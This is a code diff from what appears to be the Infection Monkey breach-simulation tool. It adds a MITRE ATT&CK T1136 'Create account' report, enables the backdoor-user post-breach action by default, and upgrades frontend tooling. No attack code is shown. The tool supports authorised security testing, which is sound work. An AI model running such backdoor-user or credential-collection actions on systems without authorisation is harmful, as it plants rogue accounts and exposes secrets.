self.assertEqual(len(Finding.objects(status=zero_trust_consts.STATUS_FAILED)), 1) self.assertEqual(len(Finding.objects(status=zero_trust_consts.STATUS_FAILED)), 1)

View File

@ -1,7 +1,6 @@
from unittest import TestCase from unittest import TestCase
from monkey_island.cc.resources.bootloader import Bootloader from monkey_island.cc.resources.bootloader import Bootloader
from monkey_island.cc.services.utils.bootloader_config import SUPPORTED_WINDOWS_VERSIONS
class TestBootloader(TestCase): class TestBootloader(TestCase):

View File

@ -1,4 +1,3 @@
from flask import request
import flask_restful import flask_restful
from monkey_island.cc.auth import jwt_required from monkey_island.cc.auth import jwt_required

View File

@ -1,3 +1,4 @@
import logging
from functools import wraps from functools import wraps
from os import mkdir, path from os import mkdir, path
import shutil import shutil
@ -8,10 +9,14 @@ from flask import request
from monkey_island.cc.models.test_telem import TestTelem from monkey_island.cc.models.test_telem import TestTelem
from monkey_island.cc.services.config import ConfigService from monkey_island.cc.services.config import ConfigService
TEST_TELEM_DIR = "./test_telems" TELEM_SAMPLE_DIR = "./telem_sample"
MAX_SAME_CATEGORY_TELEMS = 10000 MAX_SAME_CATEGORY_TELEMS = 10000
logging.basicConfig(level=logging.INFO)
logger = logging.getLogger(__name__)
class TestTelemStore: class TestTelemStore:
@staticmethod @staticmethod
@ -31,14 +36,17 @@ class TestTelemStore:
@staticmethod @staticmethod
def export_test_telems(): def export_test_telems():
logger.info(f"Exporting all telemetries to {TELEM_SAMPLE_DIR}")
try: try:
mkdir(TEST_TELEM_DIR) mkdir(TELEM_SAMPLE_DIR)
except FileExistsError: except FileExistsError:
shutil.rmtree(TEST_TELEM_DIR) logger.info("Deleting all previous telemetries.")
mkdir(TEST_TELEM_DIR) shutil.rmtree(TELEM_SAMPLE_DIR)
mkdir(TELEM_SAMPLE_DIR)
for test_telem in TestTelem.objects(): for test_telem in TestTelem.objects():
with open(TestTelemStore.get_unique_file_path_for_test_telem(TEST_TELEM_DIR, test_telem), 'w') as file: with open(TestTelemStore.get_unique_file_path_for_test_telem(TELEM_SAMPLE_DIR, test_telem), 'w') as file:
file.write(test_telem.to_json()) file.write(test_telem.to_json(indent=2))
logger.info("Telemetries exported!")
@staticmethod @staticmethod
def get_unique_file_path_for_test_telem(target_dir: str, test_telem: TestTelem): def get_unique_file_path_for_test_telem(target_dir: str, test_telem: TestTelem):

View File

@ -120,7 +120,7 @@ class AttackConfig(object):
def set_bool_conf_val(path, val, monkey_config): def set_bool_conf_val(path, val, monkey_config):
""" """
Changes monkey's configuration by setting one of its boolean fields value Changes monkey's configuration by setting one of its boolean fields value
:param path: Path to boolean value in monkey's configuration. E.g. ['monkey', 'system_info', 'should_use_mimikatz'] :param path: Path to boolean value in monkey's configuration. ['monkey', 'system_info', 'should_use_mimikatz']
:param val: Boolean :param val: Boolean
:param monkey_config: Monkey's configuration :param monkey_config: Monkey's configuration
""" """
@ -183,5 +183,5 @@ class AttackConfig(object):
techniques = {} techniques = {}
for type_name, attack_type in list(attack_config.items()): for type_name, attack_type in list(attack_config.items()):
for key, technique in list(attack_type['properties'].items()): for key, technique in list(attack_type['properties'].items()):
techniques[key] = {'selected': technique['value'], 'type': SCHEMA['properties'][type_name]['title']} techniques[key] = {'selected': technique['value'], 'type': SCHEMA['properties'][type_name]['title']}
return techniques return techniques

@ -1 +1 @@
Subproject commit c139e37bdc51acbc7d0488a5be48553caffdbbd7 Subproject commit fb8942b1a10f4e734ed75542f2ccae7cbd72c46d

View File

@ -4,6 +4,7 @@ from monkey_island.cc.models import Monkey
from monkey_island.cc.services.attack.technique_reports import T1210, T1197, T1110, T1075, T1003, T1059, T1086, T1082 from monkey_island.cc.services.attack.technique_reports import T1210, T1197, T1110, T1075, T1003, T1059, T1086, T1082
from monkey_island.cc.services.attack.technique_reports import T1145, T1105, T1065, T1035, T1129, T1106, T1107, T1188 from monkey_island.cc.services.attack.technique_reports import T1145, T1105, T1065, T1035, T1129, T1106, T1107, T1188
from monkey_island.cc.services.attack.technique_reports import T1090, T1041, T1222, T1005, T1018, T1016, T1021, T1064 from monkey_island.cc.services.attack.technique_reports import T1090, T1041, T1222, T1005, T1018, T1016, T1021, T1064
from monkey_island.cc.services.attack.technique_reports import T1136
from monkey_island.cc.services.attack.attack_config import AttackConfig from monkey_island.cc.services.attack.attack_config import AttackConfig
from monkey_island.cc.database import mongo from monkey_island.cc.database import mongo
from monkey_island.cc.services.reporting.report_generation_synchronisation import safe_generate_attack_report from monkey_island.cc.services.reporting.report_generation_synchronisation import safe_generate_attack_report
@ -35,7 +36,8 @@ TECHNIQUES = {'T1210': T1210.T1210,
'T1018': T1018.T1018, 'T1018': T1018.T1018,
'T1016': T1016.T1016, 'T1016': T1016.T1016,
'T1021': T1021.T1021, 'T1021': T1021.T1021,
'T1064': T1064.T1064 'T1064': T1064.T1064,
'T1136': T1136.T1136
} }
REPORT_NAME = 'new_report' REPORT_NAME = 'new_report'

View File

@ -289,6 +289,22 @@ SCHEMA = {
"description": "Data exfiltration is performed over the Command and Control channel." "description": "Data exfiltration is performed over the Command and Control channel."
} }
} }
},
"persistence": {
"title": "Persistence",
"type": "object",
"link": "https://attack.mitre.org/tactics/TA0003/",
"properties": {
"T1136": {
"title": "Create account",
"type": "bool",
"value": True,
"necessary": False,
"link": "https://attack.mitre.org/techniques/T1136",
"description": "Adversaries with a sufficient level of access "
"may create a local system, domain, or cloud tenant account."
}
}
} }
} }
} }

View File

@ -1,6 +1,6 @@
from typing import List, Dict from typing import List, Dict
from stix2 import FileSystemSource, Filter, CourseOfAction, AttackPattern, v20 from stix2 import FileSystemSource, Filter, CourseOfAction, AttackPattern
class MitreApiInterface: class MitreApiInterface:
@ -32,14 +32,14 @@ class MitreApiInterface:
return all_techniques return all_techniques
@staticmethod @staticmethod
def get_stix2_external_reference_id(stix2_data: v20._DomainObject) -> str: def get_stix2_external_reference_id(stix2_data) -> str:
for reference in stix2_data['external_references']: for reference in stix2_data['external_references']:
if reference['source_name'] == "mitre-attack" and 'external_id' in reference: if reference['source_name'] == "mitre-attack" and 'external_id' in reference:
return reference['external_id'] return reference['external_id']
return '' return ''
@staticmethod @staticmethod
def get_stix2_external_reference_url(stix2_data: v20._DomainObject) -> str: def get_stix2_external_reference_url(stix2_data) -> str:
for reference in stix2_data['external_references']: for reference in stix2_data['external_references']:
if 'url' in reference: if 'url' in reference:
return reference['url'] return reference['url']

View File

@ -0,0 +1,38 @@
from monkey_island.cc.services.attack.technique_reports import AttackTechnique
from monkey_island.cc.services.reporting.report import ReportService
from common.utils.attack_utils import ScanStatus
from common.data.post_breach_consts import POST_BREACH_BACKDOOR_USER, POST_BREACH_COMMUNICATE_AS_NEW_USER
__author__ = "shreyamalviya"
class T1136(AttackTechnique):
tech_id = "T1136"
unscanned_msg = "Monkey didn't try creating a new user on the network's systems."
scanned_msg = "Monkey tried creating a new user on the network's systems, but failed."
used_msg = "Monkey created a new user on the network's systems."
@staticmethod
def get_report_data():
data = {'title': T1136.technique_title()}
scanned_nodes = ReportService.get_scanned()
status = ScanStatus.UNSCANNED.value
for node in scanned_nodes:
if node['pba_results'] != 'None':
for pba in node['pba_results']:
if pba['name'] in [POST_BREACH_BACKDOOR_USER,
POST_BREACH_COMMUNICATE_AS_NEW_USER]:
status = ScanStatus.USED.value if pba['result'][1]\
else ScanStatus.SCANNED.value
data.update({
'info': [{
'machine': {
'hostname': pba['hostname'],
'ips': node['ip_addresses'],
},
'result': ': '.join([pba['name'], pba['result'][0]])
}]
})
data.update(T1136.get_message_and_status(status))
return data

View File

@ -5,7 +5,7 @@ from monkey_island.cc.database import mongo
from common.utils.attack_utils import ScanStatus from common.utils.attack_utils import ScanStatus
from monkey_island.cc.services.attack.attack_config import AttackConfig from monkey_island.cc.services.attack.attack_config import AttackConfig
from common.utils.code_utils import abstractstatic from common.utils.code_utils import abstractstatic
from cc.models.attack.attack_mitigations import AttackMitigations from monkey_island.cc.models.attack.attack_mitigations import AttackMitigations
logger = logging.getLogger(__name__) logger = logging.getLogger(__name__)
@ -129,4 +129,3 @@ class AttackTechnique(object, metaclass=abc.ABCMeta):
return {'mitigations': mitigation_document.to_mongo().to_dict()['mitigations']} return {'mitigations': mitigation_document.to_mongo().to_dict()['mitigations']}
else: else:
return {} return {}

View File

@ -32,4 +32,3 @@ class TestBootloaderService(TestCase):
ips = ["127.1.1.1", "127.0.0.1", "192.168.56.1"] ips = ["127.1.1.1", "127.0.0.1", "192.168.56.1"]
ips = BootloaderService.remove_local_ips(ips) ips = BootloaderService.remove_local_ips(ips)
self.assertEqual(["192.168.56.1"], ips) self.assertEqual(["192.168.56.1"], ips)

View File

@ -130,7 +130,7 @@ SCHEMA = {
"title": "Collect the machine's hostname", "title": "Collect the machine's hostname",
"attack_techniques": [] "attack_techniques": []
}, },
{ {
"type": "string", "type": "string",
"enum": [ "enum": [
PROCESS_LIST_COLLECTOR PROCESS_LIST_COLLECTOR
@ -140,7 +140,7 @@ SCHEMA = {
}, },
], ],
}, },
"post_breach_acts": { "post_breach_actions": {
"title": "Post breach actions", "title": "Post breach actions",
"type": "string", "type": "string",
"anyOf": [ "anyOf": [
@ -150,7 +150,7 @@ SCHEMA = {
"BackdoorUser" "BackdoorUser"
], ],
"title": "Back door user", "title": "Back door user",
"attack_techniques": [] "attack_techniques": ["T1136"]
}, },
{ {
"type": "string", "type": "string",
@ -158,7 +158,7 @@ SCHEMA = {
"CommunicateAsNewUser" "CommunicateAsNewUser"
], ],
"title": "Communicate as new user", "title": "Communicate as new user",
"attack_techniques": [] "attack_techniques": ["T1136"]
}, },
], ],
}, },
@ -375,9 +375,10 @@ SCHEMA = {
"type": "array", "type": "array",
"uniqueItems": True, "uniqueItems": True,
"items": { "items": {
"$ref": "#/definitions/post_breach_acts" "$ref": "#/definitions/post_breach_actions"
}, },
"default": [ "default": [
"BackdoorUser",
"CommunicateAsNewUser" "CommunicateAsNewUser"
], ],
"description": "List of actions the Monkey will run post breach" "description": "List of actions the Monkey will run post breach"

View File

@ -411,5 +411,6 @@ class NodeService:
def get_hostname_by_id(node_id): def get_hostname_by_id(node_id):
return NodeService.get_node_hostname(mongo.db.monkey.find_one({'_id': node_id}, {'hostname': 1})) return NodeService.get_node_hostname(mongo.db.monkey.find_one({'_id': node_id}, {'hostname': 1}))
class NodeCreationException(Exception): class NodeCreationException(Exception):
pass pass

View File

@ -101,4 +101,3 @@ def process_mimikatz_and_wmi_info(telemetry_json):
monkey_id = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid']).get('_id') monkey_id = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid']).get('_id')
wmi_handler = WMIHandler(monkey_id, telemetry_json['data']['wmi'], users_secrets) wmi_handler = WMIHandler(monkey_id, telemetry_json['data']['wmi'], users_secrets)
wmi_handler.process_and_handle_wmi_info() wmi_handler.process_and_handle_wmi_info()

View File

@ -9,4 +9,3 @@ SUPPORTED_WINDOWS_VERSIONS = {
"windows7_sp1": True, "windows7_sp1": True,
"windows8_or_greater": True, "windows8_or_greater": True,
} }

View File

@ -11,5 +11,3 @@ class TestNodeGroups(TestCase):
self.assertEqual(NodeStates.get_by_keywords(['monkey', 'linux', 'running']), NodeStates.MONKEY_LINUX_RUNNING) self.assertEqual(NodeStates.get_by_keywords(['monkey', 'linux', 'running']), NodeStates.MONKEY_LINUX_RUNNING)
with self.assertRaises(NoGroupsFoundException): with self.assertRaises(NoGroupsFoundException):
NodeStates.get_by_keywords(['bogus', 'values', 'from', 'long', 'list', 'should', 'fail']) NodeStates.get_by_keywords(['bogus', 'values', 'from', 'long', 'list', 'should', 'fail'])

View File

@ -1,10 +1,15 @@
{ {
"presets": [ "presets": [
"es2015", [
"stage-0", "@babel/preset-env",
"react" {
"useBuiltIns": "entry"
}
],
"@babel/preset-react"
], ],
"plugins": [ "plugins": [
"emotion" "emotion",
"@babel/plugin-proposal-class-properties"
] ]
} }

View File

@ -3,11 +3,25 @@
"plugins": [ "plugins": [
"react" "react"
], ],
"extends": [
"eslint:recommended",
"plugin:react/recommended"
],
"parserOptions": { "parserOptions": {
"ecmaVersion": 6, "ecmaVersion": 6,
"sourceType": "module", "sourceType": "module",
"allowImportExportEverywhere": false,
"ecmaFeatures": { "ecmaFeatures": {
"jsx": true "jsx": true,
"globalReturn": false
},
"babelOptions": {
"configFile": ".babelrc"
}
},
"settings": {
"react": {
"version": "detect"
} }
}, },
"env": { "env": {
@ -25,9 +39,8 @@
], ],
"no-undef": 1, "no-undef": 1,
"global-strict": 0, "global-strict": 0,
"no-extra-semi": 1,
"no-underscore-dangle": 0, "no-underscore-dangle": 0,
"no-console": 1, "no-console": 0,
"no-unused-vars": 1, "no-unused-vars": 1,
"no-trailing-spaces": [ "no-trailing-spaces": [
1, 1,
@ -38,6 +51,14 @@
"no-unreachable": 1, "no-unreachable": 1,
"no-alert": 0, "no-alert": 0,
"react/jsx-uses-react": 1, "react/jsx-uses-react": 1,
"react/jsx-uses-vars": 1 "react/jsx-uses-vars": 1,
"react/jsx-key": 1,
"react/prop-types": 1,
"react/no-unescaped-entities": 1,
"react/no-unknown-property": [1, { "ignore": ["class"] }],
"react/no-string-refs": 1,
"react/display-name": 1,
"no-useless-escape": 1,
"no-prototype-builtins": 1
} }
} }

File diff suppressed because it is too large Load Diff

View File

@ -21,23 +21,23 @@
"repository": "", "repository": "",
"keywords": [], "keywords": [],
"author": "Guardicore", "author": "Guardicore",
"browserslist": "> 0.25%, not dead",
"devDependencies": { "devDependencies": {
"babel-cli": "^6.26.0", "@babel/cli": "^7.8.4",
"babel-core": "^6.26.3", "@babel/core": "^7.9.6",
"babel-eslint": "^8.2.6", "@babel/plugin-proposal-class-properties": "^7.8.3",
"babel-loader": "^7.1.5", "@babel/plugin-transform-runtime": "^7.9.6",
"babel-polyfill": "^6.26.0", "@babel/preset-env": "^7.9.6",
"babel-preset-env": "^1.7.0", "@babel/preset-react": "^7.9.0",
"babel-preset-es2015": "^6.24.1", "@babel/runtime": "^7.9.6",
"babel-preset-react": "^6.24.1", "babel-eslint": "^10.1.0",
"babel-preset-stage-0": "^6.5.0", "babel-loader": "^8.0.0",
"bower-webpack-plugin": "^0.1.9",
"chai": "^4.2.0", "chai": "^4.2.0",
"copyfiles": "^2.1.1", "copyfiles": "^2.2.0",
"css-loader": "^1.0.1", "css-loader": "^3.5.0",
"eslint": "^5.16.0", "eslint": "^6.8.0",
"eslint-loader": "^2.2.1", "eslint-loader": "^4.0.1",
"eslint-plugin-react": "^7.16.0", "eslint-plugin-react": "^7.19.0",
"file-loader": "^1.1.11", "file-loader": "^1.1.11",
"glob": "^7.1.6", "glob": "^7.1.6",
"html-loader": "^0.5.5", "html-loader": "^0.5.5",
@ -50,21 +50,22 @@
"karma-phantomjs-launcher": "^1.0.0", "karma-phantomjs-launcher": "^1.0.0",
"karma-sourcemap-loader": "^0.3.5", "karma-sourcemap-loader": "^0.3.5",
"karma-webpack": "^3.0.5", "karma-webpack": "^3.0.5",
"minimist": "^1.2.0", "minimist": "^1.2.5",
"mocha": "^5.2.0", "mocha": "^5.2.0",
"null-loader": "^0.1.1", "null-loader": "^0.1.1",
"phantomjs-prebuilt": "^2.1.16", "phantomjs-prebuilt": "^2.1.16",
"react-addons-test-utils": "^15.6.2", "react-addons-test-utils": "^15.6.2",
"react-event-timeline": "^1.6.3", "react-event-timeline": "^1.6.3",
"react-hot-loader": "^4.12.18", "react-hot-loader": "^4.12.20",
"rimraf": "^2.7.1", "rimraf": "^2.7.1",
"style-loader": "^0.22.1", "style-loader": "^0.22.1",
"url-loader": "^1.1.2", "url-loader": "^1.1.2",
"webpack": "^4.41.2", "webpack": "^4.43.0",
"webpack-cli": "^3.3.10", "webpack-cli": "^3.3.11",
"webpack-dev-server": "^3.9.0" "webpack-dev-server": "^3.10.3"
}, },
"dependencies": { "dependencies": {
"@babel/polyfill": "^7.8.0",
"@emotion/core": "^10.0.22", "@emotion/core": "^10.0.22",
"@fortawesome/fontawesome-svg-core": "^1.2.25", "@fortawesome/fontawesome-svg-core": "^1.2.25",
"@fortawesome/free-regular-svg-icons": "^5.11.2", "@fortawesome/free-regular-svg-icons": "^5.11.2",
@ -110,6 +111,7 @@
"react-tooltip-lite": "^1.10.0", "react-tooltip-lite": "^1.10.0",
"redux": "^4.0.4", "redux": "^4.0.4",
"sass-loader": "^7.3.1", "sass-loader": "^7.3.1",
"sha3": "^2.0.7" "sha3": "^2.0.7",
"stylelint": "^13.3.3"
} }
} }

View File

@ -1,9 +1,9 @@
/*eslint no-console:0 */ /*eslint no-console:0 */
'use strict'; 'use strict';
require('core-js/fn/object/assign'); import assign from 'core-js/fn/object'
const webpack = require('webpack'); import webpack from 'webpack'
const WebpackDevServer = require('webpack-dev-server'); import WebpackDevServer from 'webpack-dev-server'
const config = require('./webpack.config'); import config from './webpack.config'
/** /**
* Flag indicating whether webpack compiled for the first time. * Flag indicating whether webpack compiled for the first time.

View File

@ -2,7 +2,8 @@ import React from 'react';
import {BrowserRouter as Router, NavLink, Redirect, Route, Switch} from 'react-router-dom'; import {BrowserRouter as Router, NavLink, Redirect, Route, Switch} from 'react-router-dom';
import {Col, Grid, Row} from 'react-bootstrap'; import {Col, Grid, Row} from 'react-bootstrap';
import { FontAwesomeIcon } from '@fortawesome/react-fontawesome' import { FontAwesomeIcon } from '@fortawesome/react-fontawesome'
import { faCheck, faUndo } from '@fortawesome/free-solid-svg-icons' import { faCheck } from '@fortawesome/free-solid-svg-icons/faCheck'
import { faUndo } from '@fortawesome/free-solid-svg-icons/faUndo'
import RunServerPage from 'components/pages/RunServerPage'; import RunServerPage from 'components/pages/RunServerPage';
import ConfigurePage from 'components/pages/ConfigurePage'; import ConfigurePage from 'components/pages/ConfigurePage';
@ -25,10 +26,10 @@ import 'react-toggle/style.css';
import 'react-table/react-table.css'; import 'react-table/react-table.css';
import VersionComponent from './side-menu/VersionComponent'; import VersionComponent from './side-menu/VersionComponent';
let logoImage = require('../images/monkey-icon.svg'); import logoImage from '../images/monkey-icon.svg';
let infectionMonkeyImage = require('../images/infection-monkey.svg'); import infectionMonkeyImage from '../images/infection-monkey.svg';
let guardicoreLogoImage = require('../images/guardicore-logo.png'); import guardicoreLogoImage from '../images/guardicore-logo.png';
let notificationIcon = require('../images/notification-logo-512x512.png'); import notificationIcon from '../images/notification-logo-512x512.png';
const reportZeroTrustRoute = '/report/zeroTrust'; const reportZeroTrustRoute = '/report/zeroTrust';
@ -125,7 +126,7 @@ class AppComponent extends AuthComponent {
<Row> <Row>
<Col sm={3} md={2} className='sidebar'> <Col sm={3} md={2} className='sidebar'>
<div className='header'> <div className='header'>
<img src={logoImage} style={{width: '5vw', margin: '15px'}}/> <img alt="logo" src={logoImage} style={{width: '5vw', margin: '15px'}}/>
<img src={infectionMonkeyImage} style={{width: '15vw'}} alt='Infection Monkey'/> <img src={infectionMonkeyImage} style={{width: '15vw'}} alt='Infection Monkey'/>
</div> </div>
@ -188,7 +189,7 @@ class AppComponent extends AuthComponent {
<hr/> <hr/>
<div className='guardicore-link text-center' style={{'marginBottom': '0.5em'}}> <div className='guardicore-link text-center' style={{'marginBottom': '0.5em'}}>
<span>Powered by</span> <span>Powered by</span>
<a href='http://www.guardicore.com' target='_blank'> <a href='http://www.guardicore.com' rel="noopener noreferrer" target='_blank'>
<img src={guardicoreLogoImage} alt='GuardiCore'/> <img src={guardicoreLogoImage} alt='GuardiCore'/>
</a> </a>
</div> </div>

View File

@ -8,8 +8,8 @@ import '../../styles/Tooltip.scss';
import {Col} from 'react-bootstrap'; import {Col} from 'react-bootstrap';
import { FontAwesomeIcon } from '@fortawesome/react-fontawesome'; import { FontAwesomeIcon } from '@fortawesome/react-fontawesome';
import { faCircle as faCircle } from '@fortawesome/free-solid-svg-icons'; import { faCircle as faCircle } from '@fortawesome/free-solid-svg-icons/faCircle';
import { faCircle as faCircleThin } from '@fortawesome/free-regular-svg-icons'; import { faCircle as faCircleThin } from '@fortawesome/free-regular-svg-icons/faCircle';
class ConfigMatrixComponent extends AuthComponent { class ConfigMatrixComponent extends AuthComponent {
constructor(props) { constructor(props) {

View File

@ -49,7 +49,7 @@ class MitigationsComponent extends React.Component {
static getMitigationName(name, url) { static getMitigationName(name, url) {
if(url){ if(url){
return (<a href={url} target={'_blank'}>{name}</a>) return (<a href={url} rel="noopener noreferrer" target={'_blank'}>{name}</a>)
} else { } else {
return (<p>{name}</p>) return (<p>{name}</p>)
} }

View File

@ -0,0 +1,43 @@
import React from 'react';
import ReactTable from 'react-table';
import {renderMachineFromSystemData, ScanStatus} from './Helpers'
class T1136 extends React.Component {
constructor(props) {
super(props);
}
static getColumns() {
return ([{
columns: [
{ Header: 'Machine',
id: 'machine',
accessor: x => renderMachineFromSystemData(x.machine),
style: {'whiteSpace': 'unset'}},
{ Header: 'Result',
id: 'result',
accessor: x => x.result,
style: {'whiteSpace': 'unset'}}
]
}])
}
render() {
return (
<div>
<div>{this.props.data.message}</div>
<br/>
{this.props.data.status === ScanStatus.USED ?
<ReactTable
columns={T1136.getColumns()}
data={this.props.data.info}
showPagination={false}
defaultPageSize={this.props.data.info.length}
/> : ''}
</div>
);
}
}
export default T1136;

View File

@ -1,6 +1,6 @@
import React from 'react'; import React from 'react';
import { FontAwesomeIcon } from '@fortawesome/react-fontawesome' import { FontAwesomeIcon } from '@fortawesome/react-fontawesome'
import { faHandPointLeft } from '@fortawesome/free-solid-svg-icons' import { faHandPointLeft } from '@fortawesome/free-solid-svg-icons/faHandPointLeft'
import Toggle from 'react-toggle'; import Toggle from 'react-toggle';
import {OverlayTrigger, Tooltip} from 'react-bootstrap'; import {OverlayTrigger, Tooltip} from 'react-bootstrap';
import download from 'downloadjs' import download from 'downloadjs'

View File

@ -346,8 +346,8 @@ class ConfigurePageComponent extends AuthComponent {
throw Error() throw Error()
} }
return res; return res;
}).catch(error => { }).catch((error) => {
console.log('bad configuration'); console.log(`bad configuration ${error}`);
this.setState({lastAction: 'invalid_configuration'}); this.setState({lastAction: 'invalid_configuration'});
})); }));
} }

View File

@ -21,10 +21,10 @@ class LicensePageComponent extends React.Component {
<p> <p>
Copyright <i className="glyphicon glyphicon-copyright-mark"/> {rainge(2015)} Guardicore Ltd. Copyright <i className="glyphicon glyphicon-copyright-mark"/> {rainge(2015)} Guardicore Ltd.
<br/> <br/>
Licensed under <a href="https://www.gnu.org/licenses/gpl-3.0.html" target="_blank">GPLv3</a>. Licensed under <a href="https://www.gnu.org/licenses/gpl-3.0.html" rel="noopener noreferrer" target="_blank">GPLv3</a>.
</p> </p>
<p> <p>
The source code is available on <a href="https://github.com/guardicore/monkey" target="_blank">GitHub</a> The source code is available on <a href="https://github.com/guardicore/monkey" rel="noopener noreferrer" target="_blank">GitHub</a>
</p> </p>
</div> </div>
</Col> </Col>

View File

@ -2,7 +2,8 @@ import React from 'react';
import {Col, Modal} from 'react-bootstrap'; import {Col, Modal} from 'react-bootstrap';
import {Link} from 'react-router-dom'; import {Link} from 'react-router-dom';
import { FontAwesomeIcon } from '@fortawesome/react-fontawesome' import { FontAwesomeIcon } from '@fortawesome/react-fontawesome'
import { faStopCircle, faMinus } from '@fortawesome/free-solid-svg-icons' import { faStopCircle } from '@fortawesome/free-solid-svg-icons/faStopCircle'
import { faMinus } from '@fortawesome/free-solid-svg-icons/faMinus'
import PreviewPaneComponent from 'components/map/preview-pane/PreviewPane'; import PreviewPaneComponent from 'components/map/preview-pane/PreviewPane';
import {ReactiveGraph} from 'components/reactive-graph/ReactiveGraph'; import {ReactiveGraph} from 'components/reactive-graph/ReactiveGraph';
import {getOptions, edgeGroupToColor} from 'components/map/MapOptions'; import {getOptions, edgeGroupToColor} from 'components/map/MapOptions';

View File

@ -2,7 +2,7 @@ import React from 'react';
import '../../styles/NotFoundPage.scss'; import '../../styles/NotFoundPage.scss';
let monkeyDetective = require('../../images/detective-monkey.svg'); import monkeyDetective from '../../images/detective-monkey.svg';
class ConfigurePageComponent extends React.Component{ class ConfigurePageComponent extends React.Component{
constructor(props) { constructor(props) {
@ -12,7 +12,7 @@ class ConfigurePageComponent extends React.Component{
render(){ render(){
return( return(
<div className={'not-found'}> <div className={'not-found'}>
<img className={'monkey-detective'} src={monkeyDetective}/> <img alt="404 monkey image" className={'monkey-detective'} src={monkeyDetective}/>
<div className={'text-block'}> <div className={'text-block'}>
<h1 className={'not-found-title'}>404</h1> <h1 className={'not-found-title'}>404</h1>
<h2 className={'not-found-subtitle'}>Page not found</h2> <h2 className={'not-found-subtitle'}>Page not found</h2>

View File

@ -5,12 +5,16 @@ import CopyToClipboard from 'react-copy-to-clipboard';
import GridLoader from 'react-spinners/GridLoader'; import GridLoader from 'react-spinners/GridLoader';
import { FontAwesomeIcon } from '@fortawesome/react-fontawesome'; import { FontAwesomeIcon } from '@fortawesome/react-fontawesome';
import { faClipboard, faCheck, faSync } from '@fortawesome/free-solid-svg-icons'; import { faClipboard } from '@fortawesome/free-solid-svg-icons/faClipboard';
import { faCheck } from '@fortawesome/free-solid-svg-icons/faCheck';
import { faSync } from '@fortawesome/free-solid-svg-icons/faSync';
import {Link} from 'react-router-dom'; import {Link} from 'react-router-dom';
import AuthComponent from '../AuthComponent'; import AuthComponent from '../AuthComponent';
import AwsRunTable from '../run-monkey/AwsRunTable'; import AwsRunTable from '../run-monkey/AwsRunTable';
import '../../styles/MonkeyRunPage.scss';
const loading_css_override = css` const loading_css_override = css`
display: block; display: block;
margin-right: auto; margin-right: auto;
@ -252,7 +256,7 @@ class RunMonkeyPageComponent extends AuthComponent {
<i className="glyphicon glyphicon-info-sign" style={{'marginRight': '5px'}}/> <i className="glyphicon glyphicon-info-sign" style={{'marginRight': '5px'}}/>
Not sure what this is? Not seeing your AWS EC2 instances? <a Not sure what this is? Not seeing your AWS EC2 instances? <a
href="https://github.com/guardicore/monkey/wiki/Monkey-Island:-Running-the-monkey-on-AWS-EC2-instances" href="https://github.com/guardicore/monkey/wiki/Monkey-Island:-Running-the-monkey-on-AWS-EC2-instances"
target="_blank">Read the documentation</a>! rel="noopener noreferrer" target="_blank">Read the documentation</a>!
</p> </p>
</div> </div>
{ {
@ -325,7 +329,8 @@ class RunMonkeyPageComponent extends AuthComponent {
Choose the operating system where you want to run the monkey Choose the operating system where you want to run the monkey
{this.state.ips.length > 1 ? ', and the interface to communicate with.' : '.'} {this.state.ips.length > 1 ? ', and the interface to communicate with.' : '.'}
</p> </p>
<Nav bsStyle="pills" justified activeKey={this.state.selectedOs} onSelect={this.setSelectedOs}> <Nav bsStyle='pills' id={'bootstrap-override'} className={'runOnOsButtons'}
justified activeKey={this.state.selectedOs} onSelect={this.setSelectedOs}>
<NavItem key='windows-32' eventKey='windows-32'>Windows (32 bit)</NavItem> <NavItem key='windows-32' eventKey='windows-32'>Windows (32 bit)</NavItem>
<NavItem key='windows-64' eventKey='windows-64'>Windows (64 bit)</NavItem> <NavItem key='windows-64' eventKey='windows-64'>Windows (64 bit)</NavItem>
<NavItem key='linux-32' eventKey='linux-32'>Linux (32 bit)</NavItem> <NavItem key='linux-32' eventKey='linux-32'>Linux (32 bit)</NavItem>

View File

@ -22,7 +22,7 @@ class RunServerPageComponent extends React.Component {
</p> </p>
<p> <p>
To read more about the Monkey, visit <a href="http://infectionmonkey.com" To read more about the Monkey, visit <a href="http://infectionmonkey.com"
target="_blank">infectionmonkey.com</a> rel="noopener noreferrer" target="_blank">infectionmonkey.com</a>
</p> </p>
<p> <p>
Go ahead and <Link to="/run-monkey">run the monkey</Link>. Go ahead and <Link to="/run-monkey">run the monkey</Link>.

View File

@ -3,7 +3,10 @@ import {Col, Button} from 'react-bootstrap';
import '../../styles/Collapse.scss'; import '../../styles/Collapse.scss';
import '../../styles/report/AttackReport.scss'; import '../../styles/report/AttackReport.scss';
import { FontAwesomeIcon } from '@fortawesome/react-fontawesome'; import { FontAwesomeIcon } from '@fortawesome/react-fontawesome';
import {faCircle, faEye, faEyeSlash, faRadiation} from '@fortawesome/free-solid-svg-icons'; import {faCircle} from '@fortawesome/free-solid-svg-icons/faCircle';
import {faRadiation} from '@fortawesome/free-solid-svg-icons/faRadiation';
import {faEye} from '@fortawesome/free-solid-svg-icons/faEye';
import {faEyeSlash} from '@fortawesome/free-solid-svg-icons/faEyeSlash';
import ReportHeader, {ReportTypes} from './common/ReportHeader'; import ReportHeader, {ReportTypes} from './common/ReportHeader';
import {ScanStatus} from '../attack/techniques/Helpers'; import {ScanStatus} from '../attack/techniques/Helpers';

View File

@ -16,9 +16,8 @@ import SecurityIssuesGlance from './common/SecurityIssuesGlance';
import PrintReportButton from './common/PrintReportButton'; import PrintReportButton from './common/PrintReportButton';
import { FontAwesomeIcon } from '@fortawesome/react-fontawesome'; import { FontAwesomeIcon } from '@fortawesome/react-fontawesome';
import { faMinus } from '@fortawesome/free-solid-svg-icons'; import { faMinus } from '@fortawesome/free-solid-svg-icons/faMinus';
import guardicoreLogoImage from '../../images/guardicore-logo.png'
let guardicoreLogoImage = require('../../images/guardicore-logo.png');
class ReportPageComponent extends AuthComponent { class ReportPageComponent extends AuthComponent {

View File

@ -20,7 +20,7 @@ class ReportMatrixComponent extends React.Component {
} }
let tech_type = this.state.schema.properties[type_key]; let tech_type = this.state.schema.properties[type_key];
columns.push({ columns.push({
Header: () => (<a href={tech_type.link} target="_blank">{tech_type.title}</a>), Header: () => (<a href={tech_type.link} rel="noopener noreferrer" target="_blank">{tech_type.title}</a>),
id: type_key, id: type_key,
accessor: x => this.renderTechnique(x[tech_type.title]), accessor: x => this.renderTechnique(x[tech_type.title]),
style: {'whiteSpace': 'unset'} style: {'whiteSpace': 'unset'}

View File

@ -3,9 +3,9 @@ import Collapse from '@kunukn/react-collapse';
